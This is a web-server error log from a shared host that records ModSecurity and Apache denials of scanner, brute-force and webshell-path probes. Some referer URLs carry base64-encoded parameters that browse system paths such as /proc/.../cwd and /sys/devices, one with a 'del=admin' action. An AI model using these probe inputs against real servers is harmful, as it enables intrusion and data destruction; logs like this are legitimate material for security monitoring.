5.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xPcTA7b1mZrmcA-8bqQACHAE"] [Sat Jun 13 18:09:33.763931 2026] [security2:error] [pid 531797:tid 531929] [remote 17.246.15.211:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 211.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xPcTA7b1mZrmcA-8brQACQ0E"] [Sat Jun 13 18:09:33.889019 2026] [access_compat:error] [pid 531797:tid 531872] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9saWI2NA== [Sat Jun 13 18:09:33.889426 2026] [access_compat:error] [pid 531797:tid 531872] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9saWI2NA== [Sat Jun 13 18:09:33.897940 2026] [access_compat:error] [pid 531797:tid 531961] [remote 57.141.14.14:37646] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:33.898227 2026] [access_compat:error] [pid 531797:tid 531961] [remote 57.141.14.14:37646] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:33.963435 2026] [access_compat:error] [pid 531155:tid 531196] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDEvZXZlbnQxL2RldmljZQ== [Sat Jun 13 18:09:33.963731 2026] [access_compat:error] [pid 531155:tid 531196] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDEvZXZlbnQxL2RldmljZQ== [Sat Jun 13 18:09:34.054059 2026] [security2:error] [pid 531797:tid 532023] [client 20.151.217.54:48609] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.opryidaho.dennis-cooper.com"] [uri "/spire.php"] [unique_id "ai3xPsTA7b1mZrmcA-8btAAAAi8"] [Sat Jun 13 18:09:34.328454 2026] [access_compat:error] [pid 531155:tid 531251] [remote 57.141.14.76:53885] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:34.328824 2026] [access_compat:error] [pid 531155:tid 531176] [remote 57.141.14.44:63673] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:34.328899 2026] [access_compat:error] [pid 531155:tid 531251] [remote 57.141.14.76:53885] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:34.329098 2026] [access_compat:error] [pid 531155:tid 531176] [remote 57.141.14.44:63673] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:34.398880 2026] [access_compat:error] [pid 531797:tid 531933] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9saWI2NA== [Sat Jun 13 18:09:34.399150 2026] [access_compat:error] [pid 531797:tid 531933] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9saWI2NA== [Sat Jun 13 18:09:34.480368 2026] [security2:error] [pid 531155:tid 531159] [remote 209.87.149.26:41047] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 26.149.87.209.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "makulapictures.com"] [uri "/wp-login.php"] [unique_id "ai3xPimiP80klyS0Nnry1AABCwM"] [Sat Jun 13 18:09:34.481682 2026] [access_compat:error] [pid 531155:tid 531209] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9kZXZpY2Uvc3Vic3lzdGVtL2RyaXZlcnMvcHNtb3VzZS9zZXJpbzEvZHJpdmVy [Sat Jun 13 18:09:34.482018 2026] [access_compat:error] [pid 531155:tid 531209] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9kZXZpY2Uvc3Vic3lzdGVtL2RyaXZlcnMvcHNtb3VzZS9zZXJpbzEvZHJpdmVy [Sat Jun 13 18:09:34.521455 2026] [access_compat:error] [pid 531155:tid 531156] [remote 57.141.14.13:29859] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:34.521770 2026] [access_compat:error] [pid 531155:tid 531156] [remote 57.141.14.13:29859] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:34.558892 2026] [security2:error] [pid 531155:tid 531228] [remote 168.63.79.147:50110] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 147.79.63.168.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "thesevensranch.com"] [uri "/wp-login.php"] [unique_id "ai3xPimiP80klyS0Nnry2QABbkg"] [Sat Jun 13 18:09:34.610062 2026] [security2:error] [pid 531155:tid 531400] [client 20.151.217.54:65172] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "jugglepro.org"] [uri "/Cap.php"] [unique_id "ai3xPimiP80klyS0Nnry2gAAAX0"] [Sat Jun 13 18:09:34.634980 2026] [security2:error] [pid 531155:tid 531285] [client 20.151.217.54:40139] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.gkmasterson.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ai3xPimiP80klyS0Nnry3AAAAQo"] [Sat Jun 13 18:09:34.653571 2026] [security2:error] [pid 531797:tid 531947] [remote 17.22.245.4:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 4.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xPsTA7b1mZrmcA-8bwQACYVM"] [Sat Jun 13 18:09:34.684106 2026] [security2:error] [pid 531155:tid 531244] [remote 209.87.149.26:41047] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 26.149.87.209.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "makulapictures.com"] [uri "/wp-login.php"] [unique_id "ai3xPimiP80klyS0Nnry3gABD1g"], referer: https://makulapictures.com/wp-login.php [Sat Jun 13 18:09:34.811656 2026] [access_compat:error] [pid 531155:tid 531172] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?del=admin&p=L3Byb2MvNTMxODAzL2N3ZA== [Sat Jun 13 18:09:34.812109 2026] [access_compat:error] [pid 531155:tid 531172] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?del=admin&p=L3Byb2MvNTMxODAzL2N3ZA== [Sat Jun 13 18:09:34.845709 2026] [security2:error] [pid 531155:tid 531392] [client 191.234.188.123:48097] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/dass.php"] [unique_id "ai3xPimiP80klyS0Nnry5AAAAXU"] [Sat Jun 13 18:09:34.856964 2026] [access_compat:error] [pid 531797:tid 531983] [remote 57.141.14.33:41055] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:34.857225 2026] [access_compat:error] [pid 531797:tid 531983] [remote 57.141.14.33:41055] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:34.888541 2026] [access_compat:error] [pid 531797:tid 531944] [remote 57.141.14.102:61201] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:34.888847 2026] [access_compat:error] [pid 531797:tid 531944] [remote 57.141.14.102:61201] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:34.930726 2026] [security2:error] [pid 531797:tid 531941] [remote 143.110.183.208:40680] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 208.183.110.143.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "promotions.mngroup.com.au"] [uri "/xmlrpc.php"] [unique_id "ai3xPsTA7b1mZrmcA-8byQACXE0"] [Sat Jun 13 18:09:34.930933 2026] [security2:error] [pid 531797:tid 532070] [client 143.110.183.208:40680] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "promotions.mngroup.com.au"] [uri "/xmlrpc.php"] [unique_id "ai3xPsTA7b1mZrmcA-8byQACXE0"] [Sat Jun 13 18:09:34.959489 2026] [access_compat:error] [pid 531797:tid 531871] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9saWI2NA== [Sat Jun 13 18:09:34.959780 2026] [access_compat:error] [pid 531797:tid 531871] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9saWI2NA== [Sat Jun 13 18:09:35.045191 2026] [access_compat:error] [pid 531155:tid 531184] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjM3L3Bvd2Vy [Sat Jun 13 18:09:35.045639 2026] [access_compat:error] [pid 531155:tid 531184] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjM3L3Bvd2Vy [Sat Jun 13 18:09:35.059087 2026] [security2:error] [pid 531797:tid 532031] [client 110.249.201.59:20794] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:user-agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.smartsafetycenter.com"] [uri "/wp-content/uploads/2018/04/organic-1.png"] [unique_id "ai3xP8TA7b1mZrmcA-8b0AAAAjY"] [Sat Jun 13 18:09:35.121164 2026] [security2:error] [pid 531797:tid 532096] [client 172.171.3.232:19763] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.jesusknowsyourname.org"] [uri "/55l453.php"] [unique_id "ai3xP8TA7b1mZrmcA-8b0QAAAnU"] [Sat Jun 13 18:09:35.164681 2026] [security2:error] [pid 531797:tid 532045] [client 20.151.217.54:40228] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.gkmasterson.com"] [uri "/this_is_a_new_hello_world.php"] [unique_id "ai3xP8TA7b1mZrmcA-8b0wAAAkQ"] [Sat Jun 13 18:09:35.282478 2026] [security2:error] [pid 531155:tid 531369] [client 47.128.41.77:47564] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "azarrow.com"] [uri "/robots.txt"] [unique_id "ai3xPymiP80klyS0Nnry8QAAAV4"] [Sat Jun 13 18:09:35.324057 2026] [security2:error] [pid 531155:tid 531270] [remote 74.7.227.53:57230] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 53.227.7.74.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "northsecuritysystems.com"] [uri "/index.php"] [unique_id "ai3xPymiP80klyS0Nnry8wABY3I"], referer: https://northsecuritysystems.com/?product=hik-central-licencia-base-de-control-de-acceso-incluye-2-puertas-hikcentral-p-acs-base-2door [Sat Jun 13 18:09:35.405589 2026] [access_compat:error] [pid 531797:tid 531955] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9saWI2NA== [Sat Jun 13 18:09:35.405864 2026] [access_compat:error] [pid 531797:tid 531955] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9saWI2NA== [Sat Jun 13 18:09:35.468970 2026] [access_compat:error] [pid 531155:tid 531180] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNl [Sat Jun 13 18:09:35.469254 2026] [access_compat:error] [pid 531155:tid 531180] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNl [Sat Jun 13 18:09:35.725211 2026] [security2:error] [pid 531155:tid 531336] [client 20.151.217.54:40253] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.gkmasterson.com"] [uri "/wpconf.php"] [unique_id "ai3xPymiP80klyS0Nnry_AAAAT0"] [Sat Jun 13 18:09:35.769883 2026] [security2:error] [pid 531797:tid 531904] [remote 17.246.19.192:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 192.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xP8TA7b1mZrmcA-8b4QACfSg"] [Sat Jun 13 18:09:35.928937 2026] [access_compat:error] [pid 531797:tid 531937] [remote 57.141.14.103:24926] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:35.929209 2026] [access_compat:error] [pid 531797:tid 531937] [remote 57.141.14.103:24926] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:35.959713 2026] [access_compat:error] [pid 531797:tid 531877] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9saWI2NA== [Sat Jun 13 18:09:35.959982 2026] [access_compat:error] [pid 531797:tid 531877] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9saWI2NA== [Sat Jun 13 18:09:35.993958 2026] [lsapi:warn] [pid 531797:tid 531969] [remote 47.128.121.85:29174] [host www.craigbrownphd.com] Backend log: PHP Warning: Trying to access array offset on value of type bool in /home1/craigbro/public_html/wp-content/plugins/elementor/includes/base/widget-base.php on line 224\n [Sat Jun 13 18:09:35.993985 2026] [lsapi:warn] [pid 531797:tid 531969] [remote 47.128.121.85:29174] [host www.craigbrownphd.com] Backend log: PHP Warning: Undefined array key -1 in /home1/craigbro/public_html/wp-content/plugins/elementor/includes/base/controls-stack.php on line 696\n [Sat Jun 13 18:09:36.023492 2026] [access_compat:error] [pid 531155:tid 531231] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9ldmVudDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:09:36.023954 2026] [access_compat:error] [pid 531155:tid 531231] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9ldmVudDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:09:36.034942 2026] [security2:error] [pid 531797:tid 532009] [client 216.73.216.57:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 57.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri 